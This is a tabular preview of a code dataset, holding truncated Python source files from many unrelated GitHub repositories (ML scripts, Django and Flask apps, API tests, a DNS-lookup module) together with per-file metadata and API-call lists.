seq_id string | text string | repo_name string | sub_path string | file_name string | file_ext string | file_size_in_byte int64 | program_lang string | lang string | doc_type string | stars int64 | dataset string | pt string | api list |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
33146570859 | import csv
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from sklearn.ensemble import RandomForestRegressor
from sklearn.model_selection import train_test_split, GridSearchCV
from sklearn.cross_validation import StratifiedKFold
def training_and_testing(X_inputfile, Y_inputfile):
... | alexwaweru/MovieForests | training_and_testing_gross/training_and_testing.py | training_and_testing.py | py | 1,124 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pandas.read_csv",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "pandas.read_csv",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "sklearn.model_selection.train_test_split",
"line_number": 20,
"usage_type": "call"
},
{
"api_name... |
42542824319 | from django.conf.urls import url
from cart import views
app_name = 'cart'
urlpatterns = [
url(r'^$', views.my_cart, name='my_cart'),
url(r'^add_cart/$', views.add_cart, name='add_cart'),
] | hikaru32/pro_tt | cart/urls.py | urls.py | py | 199 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.conf.urls.url",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "cart.views.my_cart",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "cart.views",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "django.conf.urls... |
26431478290 | import numpy as np
import pandas as pd
mashroom = pd.read_csv('mushroom edibility classification dataset.csv')
mashroom.head()
mashroom.shape
mashroom.isnull().sum()
mashroom_corr = mashroom.corr()
import seaborn as sns
sns.heatmap(mashroom_corr, cmap= 'YlGnBu')
#removing redundant columns that has no distingui... | Rapheo/Basic-of-ML | Lab_5(data Pre-Processing)/data_preprocessing.py | data_preprocessing.py | py | 2,009 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pandas.read_csv",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "seaborn.heatmap",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "seaborn.heatmap",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "sklearn.impute.SimpleI... |
2884996289 | # coding:utf-8
# @Time : 2020/6/4 14:10
# @Author: Xiawang
# Description:
import time
import pytest
from api_script.open_lagou_com.resume import get_resume_list, get_online_resume, get_attachment_resume, get_contact, \
get_interview, get_obsolete
from utils.util import assert_equal, assert_in
@pytest.mark.incr... | Ariaxie-1985/aria | tests/test_open_api_lagou_com/test_resume.py | test_resume.py | py | 2,896 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "time.sleep",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "api_script.open_lagou_com.resume.get_resume_list",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "utils.util.assert_equal",
"line_number": 21,
"usage_type": "call"
},
{
... |
41649203624 | from django.contrib.auth import authenticate, login
from django.contrib.auth.decorators import login_required
from django.http import HttpResponse, HttpResponseRedirect
from django.shortcuts import render, get_object_or_404, Http404
from django.urls import reverse
from app.models import Product, Cart, CartItem, Catego... | arash-ataei-solut/shop-practice | app/views.py | views.py | py | 2,928 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.shortcuts.render",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "app.models.Product.objects.create",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "app.models.Product.objects",
"line_number": 17,
"usage_type": "attribute"
},
... |
74069869225 | ## Deprecated - see XNATUpload comment. ##
from nipype.interfaces.base import (
traits, BaseInterfaceInputSpec, TraitedSpec,
BaseInterface, InputMultiPath, File)
import qixnat
class XNATUploadInputSpec(BaseInterfaceInputSpec):
project = traits.Str(mandatory=True, desc='The XNAT project id')
subject ... | ohsu-qin/qipipe | qipipe/interfaces/xnat_upload.py | xnat_upload.py | py | 3,087 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "nipype.interfaces.base.BaseInterfaceInputSpec",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "nipype.interfaces.base.traits.Str",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "nipype.interfaces.base.traits",
"line_number": 10,
"usage_... |
43776692283 | import csv
import re
from functools import lru_cache
from pathlib import Path
from rows.fields import slug
CITY_DATA_FILENAME = Path(__file__).parent / "data" / "municipios.csv"
REGEXP_RS = re.compile("^RIO GRANDE DO SUL (.*)$")
STATE_NAMES = {
"acre": "AC",
"alagoas": "AL",
"amapa": "AP",
"amazonas... | turicas/autuacoes-ambientais-ibama | autuacoes/cities.py | cities.py | py | 3,944 | python | en | code | 8 | github-code | 36 | [
{
"api_name": "pathlib.Path",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "re.compile",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "csv.DictReader",
"line_number": 73,
"usage_type": "call"
},
{
"api_name": "functools.lru_cache",
"lin... |
29069087850 | from config import db
from flask import abort, session
from models import Recipe, Ingredient,recipes_schema,recipe_schema, RecipeSchema
#####
def create_recipe(recipe):
name = recipe.get("name")
ingredients = recipe.get("ingredients")
ingredients_list = []
# check if recipe with same name already exi... | nor5/welshProject | views/recipes.py | recipes.py | py | 2,064 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "models.Recipe.query.filter_by",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "models.Recipe.query",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "models.Recipe",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "... |
30527541130 | import random
import string
from fastapi import HTTPException
from passlib.context import CryptContext
from sqlalchemy.exc import IntegrityError
from sqlalchemy.orm import Session
from starlette import status
from . import models, schemas
def get_user(db: Session, user_id: int):
return db.query(models.User).fil... | eugenfaust/projectsAPI | sql_app/crud.py | crud.py | py | 2,586 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "sqlalchemy.orm.Session",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "sqlalchemy.orm.Session",
"line_number": 17,
"usage_type": "name"
},
{
"api_name": "sqlalchemy.orm.Session",
"line_number": 21,
"usage_type": "name"
},
{
"api_name": "... |
23634749756 | from sqlalchemy.orm import sessionmaker
from fichero_sql_tablas import Estudiante, create_engine
engine = create_engine('sqlite:///estudiantes1.db', echo=True)
# crear sesion a la bbdd
Session = sessionmaker(bind=engine)
# una vez conectados mediante esta sesion creamos las instancias
session = Session()
# Crear los... | andreagro17/pythonCourseTest | fichero_sql_datos.py | fichero_sql_datos.py | py | 639 | python | es | code | 0 | github-code | 36 | [
{
"api_name": "fichero_sql_tablas.create_engine",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "sqlalchemy.orm.sessionmaker",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "fichero_sql_tablas.Estudiante",
"line_number": 13,
"usage_type": "call"
},
... |
15267569253 | from django.shortcuts import render,redirect
import book_guide
from book_guide.models import Book_guide
from book_guide.forms import GuideForm
# Create your views here.
def guide(request):
guides=Book_guide.objects.raw('select * from book_guide')
return render(request,"guide/book_guide.html",{'guides':guide... | Marinagansi/3rd-sem-project-django | book_guide/views.py | views.py | py | 2,162 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "book_guide.models.Book_guide.objects.raw",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "book_guide.models.Book_guide.objects",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "book_guide.models.Book_guide",
"line_number": 9,
"usage_... |
36549687329 | from setuptools import setup, find_packages
import rbnfrbnf
readme = ""
setup(
name='rbnfrbnf',
version=rbnfrbnf.__version__,
keywords='parser generation, LR parser, efficient, JIT',
description='A best LR parser generator',
long_description=readme,
long_description_content_type='text/markdown'... | thautwarm/rbnfrbnf | setup.py | setup.py | py | 922 | python | en | code | 4 | github-code | 36 | [
{
"api_name": "setuptools.setup",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "rbnfrbnf.__version__",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "setuptools.find_packages",
"line_number": 17,
"usage_type": "call"
}
] |
34484792129 | import numpy as np
from DataUtils import DataUtils
import argparse
import os
import torch
from torchvision import datasets, models, transforms
if __name__ == "__main__":
# setting the hyper parameters
parser = argparse.ArgumentParser(description="Analysis Diatoms Research CNR-ISASI")
parser.add_argum... | andouglasjr/ProjectDiatoms | analysis.py | analysis.py | py | 4,569 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "torch.device",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "torch.cuda.is_available",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "torch.cu... |
42233326363 | # -*- coding: utf-8 -*-
################################################################
# #
# Seth Cram #
# ECE351-53 #
# Project 9 #
# Due: 3/29/2022 #
# Any other necessary information needed to navigate the file #
#
#
################################################################
import numpy as np... | SethCram/Signals-and-Systems-Code | proj10_main.py | proj10_main.py | py | 3,559 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.arange",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "numpy.sqrt",
"line_number": 30,
"usage_type": "call"
},
{
"api_name": "numpy.pi",
"line_number": 31,
"usage_type": "attribute"
},
{
"api_name": "numpy.arctan",
"line_number... |
2705037908 | import os
from PIL import ImageFont
def FindFonts():
fontdir = 'C:\\Windows\\Fonts'
files = os.listdir(fontdir)
fonts = dict()
for f in files:
if (f.split('.')[1] == 'ttf'):
tmp = ImageFont.truetype(os.path.join(fontdir,f),1)
if(tmp.font.style == "Regular"):
... | suever/Date-Stamper | FontFinder.py | FontFinder.py | py | 371 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.listdir",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "PIL.ImageFont.truetype",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "PIL.ImageFont",
"line_number": 14,
"usage_type": "name"
},
{
"api_name": "os.path.join",
"li... |
23268546540 | import pytz
from datetime import datetime
from datetime import timedelta
import asyncio
class DateError(Exception):
pass
class TimeError(Exception):
pass
class DateTimeError(TimeError, DateError):
pass
class DateTime:
@classmethod
async def at(cls, date, time):
self = DateTime()
await (self.init())
awa... | Liyara/Tracker | date_time_handler.py | date_time_handler.py | py | 4,172 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "datetime.datetime.utcnow",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 29,
"usage_type": "name"
},
{
"api_name": "pytz.utc",
"line_number": 29,
"usage_type": "attribute"
}
] |
31298546243 | from collections import deque
def solution(board):
n = len(board)
# dir & dx,dy : 0 1 2 3 동 남 서 북
visited = [[[False for _ in range(4)] for _ in range(len(board))]
for _ in range(len(board))]
dx = [0, 1, 0, -1]
dy = [1, 0, -1, 0]
def canGo(x, y, d):
x2 = x + dx[d]
... | shwjdgh34/algorithms-python | codingTest/2020kakao/블록이동하기.py | 블록이동하기.py | py | 2,786 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "collections.deque",
"line_number": 47,
"usage_type": "call"
}
] |
19815428666 | import json
import urllib.request
url = 'http://ec2-35-158-239-16.eu-central-1.compute.amazonaws.com'
post_port = 8000
tracking_port = 8001
headers = {"Content-Type":"application/json"}
packet = {'sender_name' : 'Otto Hahn',
'sender_street' : 'Veilchenweg 2324',
'sender_zip' : '12345',
'... | CodingCamp2017/pakete | services/tests/test_rest_tracking_service.py | test_rest_tracking_service.py | py | 1,711 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "urllib.request.request.Request",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "urllib.request.request",
"line_number": 21,
"usage_type": "attribute"
},
{
"api_name": "urllib.request",
"line_number": 21,
"usage_type": "name"
},
{
"api_nam... |
28912430156 | #The code looks to distinguish between cats and dogs using the AlexNet model set up
#This model does not work at high percentage of correctness over 20 epochs due to underfitting as AlexNet is set up to work over larger datasets
from sklearn.neural_network import MLPClassifier
from sklearn.neighbors import KNeighb... | arulverma/Inspirit-AI-programs | Cat vs Dog AlexNet.py | Cat vs Dog AlexNet.py | py | 7,976 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.array",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "gdown.download",
"line_number... |
34153413716 | import datetime
def add_records(obj, db):
"""
@param obj = JSON object
@param db = SQL database
"""
entries = dict()
for o in obj.items():
if str(o[0]) != 'Name' and str(o[0]) != 'Date':
entries[int(o[0])] = o[1]
for e in entries.items():
e[1]['Event'] = st... | segfaultmagnet/sweet-db | util/sqlloader.py | sqlloader.py | py | 1,535 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "datetime.date",
"line_number": 16,
"usage_type": "call"
}
] |
34016955487 | import torch
import torch.nn as nn
import transformers
class BertForSeqClf(nn.Module):
def __init__(self, pretrained_model_name: str, num_labels: int):
super().__init__()
config = transformers.BertConfig.from_pretrained(pretrained_model_name,
num_labels... | ayeffkay/Distillation | bert.py | bert.py | py | 1,092 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "torch.nn.Module",
"line_number": 5,
"usage_type": "attribute"
},
{
"api_name": "torch.nn",
"line_number": 5,
"usage_type": "name"
},
{
"api_name": "transformers.BertConfig.from_pretrained",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "tr... |
10322811313 | import os
import tqdm
import argparse
import pandas as pd
max_row = 0
def trans(value, dict, unknown=0):
new_value = dict.get(int(value), unknown)
if pd.isna(new_value):
new_value = unknown
return str(int(new_value))
def transform_paths(row, map_dict):
paths_ids = row['path'].split()
n... | miaoshenga/APathCS | scripts/share_vocab.py | share_vocab.py | py | 6,662 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "pandas.isna",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "pandas.isna",
"line_number": 46,
"usage_type": "call"
},
{
"api_name": "pandas.isna",
"line_number": 75,
"usage_type": "call"
},
{
"api_name": "argparse.ArgumentParser",
"li... |
29050704231 | from flask.ext.wtf import Form
from wtforms import StringField, BooleanField
from wtforms.validators import DataRequired
class LoginForm(Form):
openid = StringField('openid', validators=[DataRequired()])
remember_me = BooleanField('remember_me', default=False)
def __init__(self, *args, **kwargs):
... | AndreasThinks/ASB_DB | app/forms.py | forms.py | py | 722 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "flask.ext.wtf.Form",
"line_number": 5,
"usage_type": "name"
},
{
"api_name": "wtforms.StringField",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "wtforms.validators.DataRequired",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "w... |
23252374328 | """Convenience functions go here"""
import discord
# region Constants
is_modified = False # Set this to True if you modify the code for your own use.
GITHUB_URL = "https://github.com/Mehehehehe82/BotInnit"
postmessage = f"It's open source, check it out on github! {GITHUB_URL}"
# endregion
# region Functions
async de... | polypoyo/DiscordBot | conv.py | conv.py | py | 999 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "discord.Embed",
"line_number": 17,
"usage_type": "call"
}
] |
13780268319 | import sys
from collections import deque
n, m = map(int, sys.stdin.readline().strip().split())
paper = [list(map(int, sys.stdin.readline().strip().split())) for _ in range(n)]
visited = [[0 for _ in range(m)] for _ in range(n)]
max_pic = 0
pic_cnt = 0
for i in range(n):
for j in range(m):
if not visited[i... | Yangseyeon/BOJ | 03. Gold/1926.py | 1926.py | py | 922 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "sys.stdin.readline",
"line_number": 3,
"usage_type": "call"
},
{
"api_name": "sys.stdin",
"line_number": 3,
"usage_type": "attribute"
},
{
"api_name": "sys.stdin.readline",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "sys.stdin",
"li... |
71749583783 | from z3 import substitute, Not, And
from collections import defaultdict
class Synthesizer:
def __init__(self, clauses, model, all_vars, step, prop, hist, length):
cond = hist.pc_ante[0]
self.all_clauses = set(clauses)
self.safe_clauses = set(clauses)
self.trigger_clauses = set(clau... | cvick32/ConditionalHistory | src/synthesizer.py | synthesizer.py | py | 4,666 | python | en | code | 5 | github-code | 36 | [
{
"api_name": "z3.Not",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "z3.substitute",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "collections.defaultdict",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "collections.defaultdict"... |
37649351161 | '''
Recommendation Systems: the ML algorithm will learn our likes and
recommend what option would be best for us. These learning algorithms
are getting accurate as time passes
Types:
1)Collaborative Systems: predict what you like based on other similar
users have liked in the past
2)Content-Based: predict what y... | ketanp05/MovieRecommendation | app.py | app.py | py | 3,004 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "lightfm.datasets.fetch_movielens",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "lightfm.LightFM",
"line_number": 37,
"usage_type": "call"
},
{
"api_name": "numpy.arange",
"line_number": 52,
"usage_type": "call"
},
{
"api_name": "numpy.a... |
19989928968 | # Import Python packages
import json
import os
# Import Bottle
import bottle
from bottle import Bottle, request, Response, run, static_file
import requests
from truckpad.bottle.cors import CorsPlugin, enable_cors
# Define dirs
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
STATIC_DIR = os.path.join(BASE_DIR, '... | IDPLAT/tes-engagement | tes-engagement/app.py | app.py | py | 1,373 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "os.path.dirname",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "os.path.abspath",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line... |
15867444691 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from typing import Any, Dict, Generic, Type, TypeVar, NoReturn
from pydantic import BaseModel
from sqlalchemy import select, update, delete, and_
from sqlalchemy.ext.asyncio import AsyncSession
from backend.app.models.base import MappedBase
ModelType = TypeVar('ModelTyp... | fastapi-practices/fastapi_best_architecture | backend/app/crud/base.py | base.py | py | 3,602 | python | en | code | 96 | github-code | 36 | [
{
"api_name": "typing.TypeVar",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "backend.app.models.base.MappedBase",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "typing.TypeVar",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "pyda... |
7369258562 | from typing import Union
import pandas as pd
import numpy as np
from Functions.date_parser import parse_dates
from Functions.data_reader import read_data
def get_historical_volatility(main_df: pd.DataFrame,
period_start: Union[str],
period_end: Union[str... | fhashim/time_series_test | Functions/mvn_historical_volatility.py | mvn_historical_volatility.py | py | 4,342 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pandas.DataFrame",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "typing.Union",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "typing.Union",
"line_number": 14,
"usage_type": "name"
},
{
"api_name": "typing.Union",
"l... |
37735076181 | from __future__ import division
import os
import time
import math
from glob import glob
import tensorflow as tf
import numpy as np
from six.moves import xrange
from ops import *
from utils import *
class DCGAN(object):
def __init__(self, sess, input_size=28,
batch_size=64, sample_num=64, output_s... | riemanli/UCLA_STATS_232A_Statistical_Modeling_and_Learning_in_Vision_and_Cognition | project4/gan/model_gan.py | model_gan.py | py | 11,459 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "tensorflow.variable_scope",
"line_number": 46,
"usage_type": "call"
},
{
"api_name": "tensorflow.reshape",
"line_number": 59,
"usage_type": "call"
},
{
"api_name": "tensorflow.nn.sigmoid",
"line_number": 64,
"usage_type": "call"
},
{
"api_name": "te... |
29620255242 | # Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html
# useful for handling different item types with a single interface
from itemadapter import ItemAdapter
import time
import codecs
import json
import o... | hua345/myBlog | python/scrapy/aiqichaDemo/aiqichaDemo/pipelines.py | pipelines.py | py | 1,210 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "time.strftime",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "time.localtime",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "codecs.open",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "json.dumps",
"line_numbe... |
23411369560 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import datetime
from django.utils.timezone import utc
class Migration(migrations.Migration):
dependencies = [
('clientes', '0002_auto_20150927_2202'),
]
operations = [
migrations.Cre... | pmmrpy/SIGB | clientes/migrations_2/0003_auto_20150928_0132.py | 0003_auto_20150928_0132.py | py | 1,491 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.db.migrations.Migration",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "django.db.migrations",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "django.db.migrations.CreateModel",
"line_number": 16,
"usage_type": "call"
},
... |
6348823299 | # This is a sample Python script.
# Press Shift+F10 to execute it or replace it with your code.
# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.
# Press the green button in the gutter to run the script.
import requests
import bs4
def get_document(url):
req = re... | deblur99/getURLsFromBlogger | main.py | main.py | py | 1,225 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "requests.get",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "bs4.BeautifulSoup",
"line_number": 17,
"usage_type": "call"
}
] |
70387110823 | "Converter with PySimpleGUI"
import PySimpleGUI as sg
layout = [[sg.Input(key="-INPUT-", size=(40, 40)),
sg.Spin(["kilometer to meter", "meter to decimeter", "dosimeter to centimeter"], background_color="black", text_color="white", key="-SPIN-"),
sg.Button("convert", key="-CONVERT-", button_color... | HadisehMirzaei/converter-PySimpleGUI | main.py | main.py | py | 1,436 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "PySimpleGUI.Input",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "PySimpleGUI.Spin",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "PySimpleGUI.Button",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "PySimpleGUI.Text",... |
32181630269 | import sys
import markdown
import json
import os
import re
from bs4 import BeautifulSoup
# This is a WIP unused script to
# write data back to the GSD database
advisories_dir = sys.argv[1]
gsd_dir = sys.argv[2]
CVE_REGEX = r"CVE-\d{4}-\d{4,7}"
FILE_FORMAT = "/Security-Updates-{version}.md"
ADVISORY_URL = "https://git... | captn3m0/photon-os-advisories | update.py | update.py | py | 3,376 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "sys.argv",
"line_number": 10,
"usage_type": "attribute"
},
{
"api_name": "sys.argv",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "markdown.markdown",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "bs4.BeautifulSoup",
... |
18617757117 | # modules in standard library
import re
from urllib.parse import urlparse
import requests
from selenium import webdriver
from selenium.webdriver.common.keys import Keys #需要引入 keys 包
import time
class DnsRecord(object):
def __init__(self, domain):
"""
初始化基本信息
:param target: 要扫描... | b1ackc4t/getdomain | module/passive/dns_record.py | dns_record.py | py | 2,542 | python | en | code | 3 | github-code | 36 | [
{
"api_name": "requests.Session",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "selenium.webdriver.Firefox",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "selenium.webdriver",
"line_number": 33,
"usage_type": "name"
},
{
"api_name": "seleni... |
933336823 | import copy
import uuid
import sqlalchemy as sa
from sqlalchemy import orm
from sqlalchemy.orm import exc as orm_exc
from neutron.api.v2 import attributes
from neutron.common import core as sql
from neutron.common import constants as n_constants
from neutron.common import utils
from neutron import context as t_contex... | CingHu/neutron-ustack | neutron/db/vm/vm_db.py | vm_db.py | py | 67,145 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "neutron.openstack.common.log.getLogger",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "neutron.openstack.common.log",
"line_number": 29,
"usage_type": "name"
},
{
"api_name": "neutron.plugins.common.constants.ACTIVE",
"line_number": 31,
"usage_t... |
10507224268 | #! /mnt/NewDiskSim/stefano/stefano/CondaInstallation/envs/Experiments/bin/python
import os
import subprocess
import sys
import speech_recognition as sr
import tensorflow as tf
from spellchecker import SpellChecker
import pyautogui
# from utilities_sm import *
# Definire la lista di comandi vocali predefiniti
def op... | StefanoMuscat/SpeechRec | Main02.py | Main02.py | py | 4,590 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "subprocess.run",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "subprocess.run",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "subprocess.run",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "spellchecker.SpellChecke... |
73881391462 | import os
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.ensemble import RandomForestClassifier
import pandas as pd
import nltk
from KaggleWord2VecUtility import KaggleWord2VecUtilityClass
from textblob import TextBlob
# if __name__ == '__main__':
# Read the data
train = pd.read_csv(os.path.j... | Jacques-Ludik/SentimentAnalysis | main.py | main.py | py | 3,702 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pandas.read_csv",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "os.path.dirname",
"line... |
11369140618 | from http import HTTPStatus
from typing import Any
import httpx
from config import config
class UserClient:
def __init__(self, url: str):
self.url = f'{url}/api/v1/users/'
def registrate(self, username: str, tgid: int):
users = {'username': username, 'tgid': tgid}
response = httpx.p... | learn-python-sfnl/tgbot | tgbot/api.py | api.py | py | 2,675 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "httpx.post",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "http.HTTPStatus.CONFLICT",
"line_number": 16,
"usage_type": "attribute"
},
{
"api_name": "http.HTTPStatus",
"line_number": 16,
"usage_type": "name"
},
{
"api_name": "httpx.get",
... |
72673672743 | from itertools import combinations
import numpy as np
import copy
def converse_to_canonical(var_num, non_neg_rest_num, non_pos_rest_num, eq_rest_num, positive_indexes, func_coefs,
rest_coefs, rest_b):
#############################
# начальная проверка
# проверка количества переме... | Hembos/optimization-method | linear_programming/EnumerationSimplexMethod.py | EnumerationSimplexMethod.py | py | 10,391 | python | ru | code | 0 | github-code | 36 | [
{
"api_name": "copy.deepcopy",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "numpy.matrix",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "numpy.eye",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "numpy.vstack",
"line_number"... |
2265981494 | import os
import json
import sqlite3
import argparse
import logging
import pickle
from copy import deepcopy
import difflib
import traceback
from semparser.common import registry
from semparser.common.utils import print_dict
from semparser.modules.semantic_parser.preprocessor.process_spider_sql import get_sql, get_sch... | BorealisAI/DT-Fixup | spider/semparser/modules/semantic_parser/evaluator/spider_evaluator.py | spider_evaluator.py | py | 47,165 | python | en | code | 15 | github-code | 36 | [
{
"api_name": "sqlite3.connect",
"line_number": 461,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number": 538,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 538,
"usage_type": "attribute"
},
{
"api_name": "semparser.modules.semant... |
27102778456 | from django.shortcuts import render
import json
from django.core import serializers
from django.http import (
HttpResponse,
HttpResponseRedirect,
JsonResponse,
)
from django.template import loader
from django.core.urlresolvers import reverse_lazy
from django.contrib.auth.decorators import login_required
fro... | IvanVilla1585/RefrescosChupiFlum | ChupiFlum/materiaprima/views.py | views.py | py | 5,202 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "loginusers.mixins.LoginRequiredMixin",
"line_number": 32,
"usage_type": "name"
},
{
"api_name": "proveedores.mixins.JSONResponseMixin",
"line_number": 32,
"usage_type": "name"
},
{
"api_name": "django.views.generic.ListView",
"line_number": 32,
"usage_type"... |
40117095233 | """
pop_by_tract.py (Script 1/3)
Date updated: 5/11/2023
Imports DC population data by census tract from Census API.
"""
"""
Requires:
- Census API key, which can be acquired here: https://api.census.gov/data/key_signup.html
Output:
- "pop_by_tract_2020.csv"
"""
#%%
## Set working directory to script direc... | tbond99/dc-historic-districts-and-gentrification | 1__2020_Analysis/1_pop_by_tract.py | 1_pop_by_tract.py | py | 2,153 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.chdir",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "os.path.dirname",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 24,
"usage_type": "attribute"
},
{
"api_name": "requests.get",
"line_number... |
29965495383 | #!/usr/bin/env python
# import sys
import logging
import struct
import serial
from . import errors
from . import fio
from . import ops
# import settings this as settings_module to avoid name conflicts
from . import settings as settings_module
logger = logging.getLogger(__name__)
logger.addHandler(logging.StreamHan... | braingram/pysump | sump/interface.py | interface.py | py | 10,286 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "logging.getLogger",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "logging.StreamHandler",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "logging.DEBUG",
"line_number": 18,
"usage_type": "attribute"
},
{
"api_name": "serial.Ser... |
35612628358 | from flask import Flask, render_template, request
from flask_wtf import FlaskForm
from wtforms import StringField
from wtforms.validators import DataRequired
from datetime import datetime
from flask_moment import Moment
from flask_sqlalchemy import SQLAlchemy
